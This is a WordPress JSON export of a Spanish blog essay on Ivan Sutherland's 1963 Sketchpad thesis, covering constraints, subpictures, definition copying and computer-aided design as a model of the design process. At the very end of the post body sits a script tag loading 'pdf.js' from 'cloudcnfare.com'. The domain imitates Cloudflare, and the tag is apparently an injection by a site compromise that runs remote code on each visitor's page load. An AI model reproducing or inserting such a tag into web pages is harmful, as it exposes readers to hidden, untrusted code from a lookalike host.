{"id":64713,"date":"2017-06-23T00:05:09","date_gmt":"2017-06-22T22:05:09","guid":{"rendered":"http:\/\/veredes.es\/blog\/?p=64713"},"modified":"2022-12-22T13:57:16","modified_gmt":"2022-12-22T12:57:16","slug":"arquitectura-informacional-1963-ivan-e-sutherland-sketchpad-man-machine-graphical-communication-system-miguel-villegas","status":"publish","type":"post","link":"https:\/\/veredes.es\/blog\/arquitectura-informacional-1963-ivan-e-sutherland-sketchpad-man-machine-graphical-communication-system-miguel-villegas\/","title":{"rendered":"Arquitectura Informacional: 1963, Ivan E. Sutherland \u201cSketchpad: A man-machine graphical communication system\u201d | Miguel Villegas"},"content":{"rendered":"<p><figure id=\"attachment_64714\" aria-describedby=\"caption-attachment-64714\" style=\"width: 750px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-64714\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2017\/06\/Arquitectura-Informacional-1963-Ivan-E.-Sutherland-\u201cSketchpad-A-man-machine-graphical-communication-system\u201d-Miguel-Villegas-Light-pen-protype.-c.a.-1963.jpg\" alt=\"Light pen protype. c.a. 1963 | Fuente: Marcin Wichary\" width=\"750\" height=\"563\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2017\/06\/Arquitectura-Informacional-1963-Ivan-E.-Sutherland-\u201cSketchpad-A-man-machine-graphical-communication-system\u201d-Miguel-Villegas-Light-pen-protype.-c.a.-1963.jpg 640w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2017\/06\/Arquitectura-Informacional-1963-Ivan-E.-Sutherland-\u201cSketchpad-A-man-machine-graphical-communication-system\u201d-Miguel-Villegas-Light-pen-protype.-c.a.-1963-300x225.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-64714\" class=\"wp-caption-text\"><span style=\"color: #999999;\">Light pen protype. c.a. 1963 | Fuente: <a style=\"color: #999999;\" href=\"https:\/\/www.flickr.com\/photos\/mwichary\/2282609035\" target=\"_blank\" rel=\"noopener\">Marcin Wichary<\/a><\/span><\/figcaption><\/figure><\/p>\n<p style=\"text-align: justify;\">En 1963, <a href=\"https:\/\/es.wikipedia.org\/wiki\/Ivan_Sutherland\" target=\"_blank\" rel=\"noopener\"><strong>Ivan E. Sutherland<\/strong><\/a>, presenta su tesis <a href=\"http:\/\/bit.ly\/infarq_Sketchpad\" target=\"_blank\" rel=\"noopener\">\u201cSketchpad: A man-machine graphical communication system\u201d<\/a>, dirigida por <a href=\"https:\/\/es.wikipedia.org\/wiki\/Claude_Elwood_Shannon\" target=\"_blank\" rel=\"noopener\"><strong>Claude E. Shannon<\/strong><\/a>, creador de la <em>Teor\u00eda de la Informaci\u00f3n<\/em>.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abThe Sketchpad system makes it possible for a man and a computer to converse rapidly through the medium of line drawings. Heretofore, most interaction between men and computers has been slowed down by the need to reduce all communication to written statements that can be typed; in the past,we have been writing letters to rather than conferring with our computers.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">El objetivo fundamental de este trabajo de tesis doctoral fue la producci\u00f3n de un <em>nuevo<\/em> sistema de comunicaci\u00f3n con los ordenadores. Shutherland era consciente ya de las dificultades de uso que la abstracci\u00f3n necesaria para programar los ordenadores generaba en cierto tipo de usuarios y trat\u00f3 de construir un <em>sistema de mediaci\u00f3n<\/em> que, recurriendo a procedimientos naturales para los usuarios a los que trataba de llegar, solventase ese problema hacia el exterior, hacia el usuario, pero que internamente no perdiese esa capacidad de funcionamiento abstracto.<\/p>\n<p>https:\/\/youtu.be\/USyoT_Ha_bA<\/p>\n<p style=\"text-align: justify;\">Uno de los puntos de inflexi\u00f3n que supuso el trabajo de Sutherland fue la <em>verdadera<\/em> objetualizaci\u00f3n y posterior instrumentalizaci\u00f3n del dibujo, no como proceso, sino como unidad de contenido.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abIt has turned out that the properties of a computer drawing are entirely different from a paper drawing not only because of the accuracy, ease of drawing, and speed of erasing provided by the computer, but also primarily because of the ability to move drawing parts around on a computer drawing without the need to erase them.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Esto llevo a Sutherland a concebir, y aqu\u00ed es donde aparece la radical importancia de su propuesta, y que creemos ha sido olvidada hasta ahora en el desarrollo de los sistemas de <em>CAD<\/em>, un <strong>sistema de trabajo<\/strong> en el que, gracias a la objetualizaci\u00f3n del dibujo y a su consecuente capacidad de ser <em>manipulado de forma no destructiva<\/em>, se increment\u00f3 enormemente la capacidad operativa del usuario.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abAs the work has progressed, several simple and very widely applicable facilities have been discovered and implemented. They provide a subpicture capability for including arbitrary symbols on a drawing, a constraint capability for relating the parts of a drawing in any computable way, and a definition copying capability for building complex relationships from combinations of simple atomic constraints.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Los conceptos de <em>subdibujo<\/em>, <em>restricci\u00f3n<\/em>, <em>definici\u00f3n<\/em> y <em>copia de definici\u00f3n<\/em>, exponen con claridad las capacidades de articulaci\u00f3n de la informaci\u00f3n en conocimiento o, como lo denomina Sutherland, <strong>computaci\u00f3n de procesos<\/strong>.<\/p>\n<p style=\"text-align: justify;\">La acci\u00f3n gr\u00e1fica pasa de ser inmediata a necesitar de una reflexi\u00f3n previa que construya sus estructuras internas.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abWe have indicated that the vertices of the hexagon are to lie on the circle,and they will remain on the circle throughout our further manipulations. If we also insist that the sides of the hexagon be of equal length, a regular hexagon will be constructed.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">En el ejemplo introductorio, la construcci\u00f3n de un hex\u00e1gono regular, apreciamos como, el pensamiento geom\u00e9trico que determina las reglas internas o de construcci\u00f3n de este pol\u00edgono, en Sketchpad, mediante la construcci\u00f3n de las <em>restricciones<\/em> y su conversi\u00f3n en una <em>definici\u00f3n<\/em>, llevar\u00e1 a ese elemento gr\u00e1fico a tener una identidad superior que, en nuestra opini\u00f3n, es capaz de trascender el grafismo, no ya en el plano sem\u00e1ntico, si no en el de la propia realidad.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abWe have said, in effect, make this line equal in length to that line. We indicate that all six lines are equal in length by five such statements. The computer satisfies all existing conditions (if it is possible) whenever we turn on a toggle switch.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">El <strong>subdibujo<\/strong> (<em>subpicture<\/em>) nos remite en Sketchpad a la posibilidad de <em>iterar<\/em>, a la fractalidad de ideas capaces de atomizarse iterativamente hasta elementos infinitesimales con una cualidad simb\u00f3lica id\u00e9ntica al primer nivel que les da origen.<\/p>\n<p>https:\/\/youtu.be\/BKM3CmRqK2o<\/p>\n<p style=\"text-align: justify;\">La <strong>restricci\u00f3n<\/strong> (<em>constraint<\/em>) no refleja la idea de limitaci\u00f3n si no, por el contrario, est\u00e1 indicando la construcci\u00f3n de relaciones conscientes y expl\u00edcitas entre elementos gr\u00e1ficos \u2013partes del dibujo\u2013 ya sea por determinaciones dimensionales o topol\u00f3gicas.<\/p>\n<p style=\"text-align: justify;\">La <strong>copia de definici\u00f3n<\/strong> (<em>definition copying<\/em>) opera con la <em>instrumentalizaci\u00f3n operativa<\/em> del pensamiento, en tanto que es capaz de <em>objetualizar<\/em> una operaci\u00f3n intelectual, las <em>restricciones<\/em> \u2013independientemente de su complejidad\u2013 almacenarla y reutilizarla sin limitaci\u00f3n.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abSketchpad drawing itself is entirely different from the trail of carbon left on a piece of paper. Information about how the drawing is tied together is stored in the computer as well as the information which gives the drawing its particular appearance. Since the drawing is tied together, it will keep a useful appearance even when parts of it are moved. It is this ability to store information relating the parts of a drawing to each other that makes Sketchpad most useful.\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Las referencias a la <em>informaci\u00f3n<\/em> son constantes en todo el trabajo, y puede que por ese propio exceso nos pase desapercibida su relevancia, pero es innegable que todo el proceso que Sutherland desarrolla pasa por la necesidad de traducir a digital las operaciones intelectuales que se producen al usar medios gr\u00e1ficos anal\u00f3gicos.<\/p>\n<p style=\"text-align: justify;\">Es esta traducci\u00f3n a digital, y por tanto a informaci\u00f3n, la que fuerza a Sutherland a crear un <em>sistema<\/em> que le permita estructurar lo que hasta entonces ha sido <strong>una relaci\u00f3n inmediata pensamiento-dibujo<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Sutherland, pese a lo primitivo del trabajo, es capaz ya de afirmar que el ordenador <em>no sabe<\/em> lo que est\u00e1 dibujando, no tiene capacidad de entender la capa sem\u00e1ntica del objeto representado, pero si <em>conoce y mantiene<\/em> las estructuras internas determinadas por el autor de los dibujos y que tambi\u00e9n tienen en si mismas una componente significante para la totalidad de la estructura.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abMost important of all, the computer \u201cknows\u201d that a \u201ctransistor\u201d is intended at that place in the circuit. It has no need to interpret the collection of lines which we would easily recog- nize as a transistor symbol. Since Sketchpad stores the topology of the drawing as we saw in closing the hexagon, one indicates both what a circuit looks like and its electrical connections when one draws it with Sketchpad.\u00bb<\/p>\n<\/blockquote>\n<p id=\"sketchpadyelprocesodedise\u00f1o.\" style=\"text-align: justify;\"><strong>Sketchpad y el proceso de dise\u00f1o.<\/strong><\/p>\n<p style=\"text-align: justify;\">De este modo, <em>Sketchpad<\/em> se convierte \u2013por necesidad de su funcionamiento\u2013 en un <em>modelo del proceso de dise\u00f1o<\/em>. El usuario\/dise\u00f1ador tiene que <em>hacer expl\u00edcito<\/em> el proceso de pensamiento \u2013hasta ahora aprendido, interiorizado y generalmente automatizado e inconsciente\u2013 que desarrolla en el acto creativo.<\/p>\n<p style=\"text-align: justify;\">Desde un enfoque claramente pragm\u00e1tico, y que se ha demostrado premonitorio en el desarrollo de los modelos de dise\u00f1o digital performativo (Oxman, 2006 y 2008)<sup>1,2<\/sup>, Sutherland asocia la capacidad de Sketchpad de cumplir <em>condiciones geom\u00e9tricas<\/em> con la necesaria capacidad de un dise\u00f1o de cumplir <em>condiciones de proyecto<\/em>, reafirmando su previsible utilidad.<\/p>\n<blockquote><p>\u00abThe ability of Sketchpad to satisfy the geometric constraints applied to the parts of a drawing models the ability of a good designer to satisfy all the design conditions imposed by the limitations of his materials, cost, etc.\u00bb<\/p><\/blockquote>\n<p style=\"text-align: justify;\">M\u00e1s all\u00e1 del gran inter\u00e9s que tiene el relato <em>hist\u00f3rico<\/em> del desarrollo del programa que el propio autor incorpora a la tesis, es fundamental rese\u00f1ar que este relato describe con transparencia la importancia de <strong><em>entender los procesos<\/em><\/strong> en todo trabajo informacional.<\/p>\n<p style=\"text-align: justify;\">Sutherland se enfrenta constantemente, y lo describe con claridad y profusi\u00f3n, con los conceptos de sistematizaci\u00f3n, de estructuraci\u00f3n en cadena, de <em>anidamiento<\/em>, de relaciones causa-efecto, de la separaci\u00f3n entre <em>lo gen\u00e9rico y lo espec\u00edfico<\/em>, y su propia consciencia de lo primitivo de su trabajo no hace si no animarlo anticipando futuras aplicaciones.<\/p>\n<p style=\"text-align: justify;\">Los que tuvimos la suerte de disfrutar de asignaturas como <em>Est\u00e1tica Gr\u00e1fica<\/em>, no podemos dejar de asombrarnos de que, incluso en las etapas iniciales de desarrollo de Sketchpad, el programa pudiera ser utilizado para una resoluci\u00f3n muy aproximada de estructuras en celos\u00eda, llegando a anticipar el autor con seguridad que el salto a su aplicaci\u00f3n tridimensional era un <em>mero problema instrumental<\/em>.<\/p>\n<p style=\"text-align: justify;\">No podemos dejar de mencionar, pese a lo aparentemente anecd\u00f3tico, un comentario que el autor hace como de soslayo sobre la configuraci\u00f3n de la <em>interfaz<\/em> del sistema, en este caso todav\u00eda ruedas, diales, e interruptores f\u00edsicos, muy lejos todav\u00eda de los iconos o barras de comandos digitales de los programas actuales.<\/p>\n<blockquote><p>\u00abUsers get used to either sense of change about equally poorly; the major user so far (the author) still must try the knob before being sure of which way it should be turned.\u00bb<\/p><\/blockquote>\n<p style=\"text-align: justify;\">Nos parece especialmente relevante este comentario por lo expl\u00edcito de la afirmaci\u00f3n de Sutherland. Incluso el usuario principal, el propio autor, debe <em>probar el dial<\/em> antes de confirmar la idoneidad de su uso.<\/p>\n<p style=\"text-align: justify;\">En los sistemas instrumentales de representaci\u00f3n, lo trascendente no es la herramienta, si no su potencial.<\/p>\n<p>Miguel Villegas, arquitecto<br \/>\nEditor en <a href=\"http:\/\/arquitextonica.net\/\" target=\"_blank\" rel=\"noopener\">arquitext\u00f3nica<\/a><br \/>\nSevilla, septiembre\u00a02015<\/p>\n<p>Notas:<\/p>\n<p><sup>1<\/sup>.<a href=\"http:\/\/bit.ly\/infarq_Oxman2006\" target=\"_blank\" rel=\"noopener\"> Oxman, R. \u201cTheory and Design in the First Digital Age.\u201d<\/a> Design Studies 27, no. 3 (2006): 229-265.<\/p>\n<p><sup>2<\/sup>.<a href=\"http:\/\/bit.ly\/infarq_Oxman2008\" target=\"_blank\" rel=\"noopener\"> Oxman, R. \u201cDigital Architecture as a Challenge for Design Pedagogy: Theory, Knowledge, Models and Medium.\u201d<\/a> Design Studies 29, no. 2 (In: Design Studies. (Design Studies, March 2008, 29(2):99-120); 2008-03-01, : 99<\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>En 1963, Ivan E. Sutherland, presenta su tesis \u201cSketchpad: A man-machine graphical communication system\u201d, dirigida por Claude E. Shannon, creador de la Teor\u00eda de la Informaci\u00f3n. \u00abThe Sketchpad system makes it possible for a man and a computer to converse rapidly through the medium of line drawings. Heretofore, most interaction between men and computers has [&hellip;]<\/p>\n","protected":false},"author":40,"featured_media":64714,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[568,5951],"tags":[10910,12847,13018,458,1576,7470,1714,13017,5129,856,5147,2825,5130,4798,6148,1103,1106,5244,1278],"class_list":{"0":"post-64713","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-faro","8":"category-slider-principal","9":"tag-arquitectura-informacional","10":"tag-bim","11":"tag-claude-e-shannon","12":"tag-educacion","13":"tag-ensenanza","14":"tag-fabricacion-digital","15":"tag-identidad-digital","16":"tag-ivan-e-sutherland","17":"tag-lourdes-bueno-garnica","18":"tag-metodo-tradicional","19":"tag-metodologia","20":"tag-metodologia-proyectuales","21":"tag-miguel-villegas-ballesta","22":"tag-modelo-profesional","23":"tag-procesos-digitales","24":"tag-profesion","25":"tag-programa","26":"tag-red-digital","27":"tag-teoria"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Arquitectura Informacional: 1963, Ivan E. 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